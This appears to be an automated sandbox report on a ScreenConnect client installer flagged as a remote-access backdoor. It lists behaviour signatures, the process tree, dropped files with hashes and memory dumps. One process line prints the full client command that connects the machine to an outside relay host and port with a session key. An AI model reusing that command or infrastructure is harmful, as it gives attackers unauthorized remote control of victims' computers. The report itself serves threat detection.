Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 08:09

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260809-j2kd1abr2s
  • SHA256 ca6a6f548320ab8ff5356eefb11c15253b411581b10b0f41d6be767ae038db0d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1188
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D61007F09427A49DBBD4DAE98E50EB75 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3904
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240666625 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3756
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3960
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3C0821EA6EDF82CF53391E502D935B08
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4452
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E82C71EE1DA3503AEDDC46C1CC2BE3F6 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2916
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:368
    • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=intfdt.com&p=8041&s=c0afab29-96c7-4632-9a53-0184e1cee038&k=BgIAAACkAABSU0ExAAgAAAEAAQDdzGIlQtLoXinUslIgawNkhAggNZ925WjdSfoqgYeOKWvtyBfMLuJf%2beaO8Kpjchc5yMCw33ZUGPULeI2aOIaCLeFWVXyyXGqzvN3sXa63DNb%2fPTEo51RIc6FATW1lVA5SlJy7rQtsibc08ZuZCNrNCe1Wx1jnodKxMuZceeqcOGqKYIyjRmeSmhN5uboXuIbpv5rZRO2Cz6WOWxnBdzo4sEL6E%2bOHJm%2bZnA8N63%2fgYG3ix37K43E1UzKKnhkVzyt4J16RhBEAnRTg4lH4zQXoschfvPZkBbkxH9%2frxAO4cwPSdz8%2fLv8%2f%2b13SL%2fRsJsPVGCRC5lK3ZgmF4s6WzBi7"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3508
      • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe" "RunRole" "b8027f61-4a42-4cc4-9467-68508cada6a0" "User"
        2⤵
        • Executes dropped EXE
        PID:700
      • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe" "RunRole" "9eb0fb1d-257c-429c-91f1-90af2a378e85" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:684

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e58874d.rbs

          • Path C:\Config.Msi\e58874d.rbs
          • Size 214KB
          • SHA256 3bdc0ec938ed99f2ff3dd6bba4b51a953d41cb03562f94664494f2169094f4fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.Override.resources
          • Size 44KB
          • SHA256 4477395e6deedd346a586bbf8b0aee5542cedbcbec4fa59f96f48933ba69c0fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\app.config
          • Size 2KB
          • SHA256 d098e5ece29c14b3f5506bb091dfe97708c62c6f127d7b427499d59b2cfb6d66
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\system.config
          • Size 936B
          • SHA256 22daf8af90c4c016b657e4d20c7c1e6db5388f7cac4e1eb368f29bda86564de3
          • MD5 SHA1 SHA512 TLSH

          MSI4745.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4745.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI8931.tmp

          • Path C:\Windows\Installer\MSI8931.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e58874c.msi

          • Path C:\Windows\Installer\e58874c.msi
          • Size 12.9MB
          • SHA256 ca6a6f548320ab8ff5356eefb11c15253b411581b10b0f41d6be767ae038db0d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 a3b49d0d2cadc3a2b8fbb13415037c7cf8499a1fcba17139f4edda9cf5ca855f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {964b7f5b-6efe-4ee2-8606-a53c79fa35d5}_OnDiskSnapshotProp

          • Path \??\Volume{d78106ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{964b7f5b-6efe-4ee2-8606-a53c79fa35d5}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 2be4cc05c9bc919d3d31c49f7ea6f1680483056b72c913fddc9e2c67cfdfe473
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/700-123-0x00000000007B0000-0x00000000007C8000-memory.dmp

          memory/700-122-0x000000001B5B0000-0x000000001B736000-memory.dmp

          memory/700-121-0x000000001B270000-0x000000001B41C000-memory.dmp

          memory/700-120-0x000000001ACF0000-0x000000001AD7C000-memory.dmp

          memory/700-124-0x0000000000AF0000-0x0000000000B08000-memory.dmp

          memory/700-118-0x0000000000070000-0x0000000000108000-memory.dmp

          memory/700-119-0x00000000007D0000-0x0000000000806000-memory.dmp

          memory/3508-102-0x0000000003F70000-0x0000000003FA6000-memory.dmp

          memory/3508-76-0x0000000001960000-0x0000000001978000-memory.dmp

          memory/3508-107-0x0000000004410000-0x00000000044E5000-memory.dmp

          memory/3508-105-0x0000000003FB0000-0x0000000003FF1000-memory.dmp

          memory/3508-103-0x0000000004230000-0x00000000042C2000-memory.dmp

          memory/3508-98-0x0000000003F20000-0x0000000003F70000-memory.dmp

          memory/3756-18-0x0000000002650000-0x000000000267E000-memory.dmp

          memory/3756-22-0x0000000002690000-0x000000000269A000-memory.dmp

          memory/3756-26-0x0000000002760000-0x00000000027EC000-memory.dmp

          memory/3756-31-0x00000000054F0000-0x0000000005A94000-memory.dmp

          memory/3756-30-0x0000000004D90000-0x0000000004F3C000-memory.dmp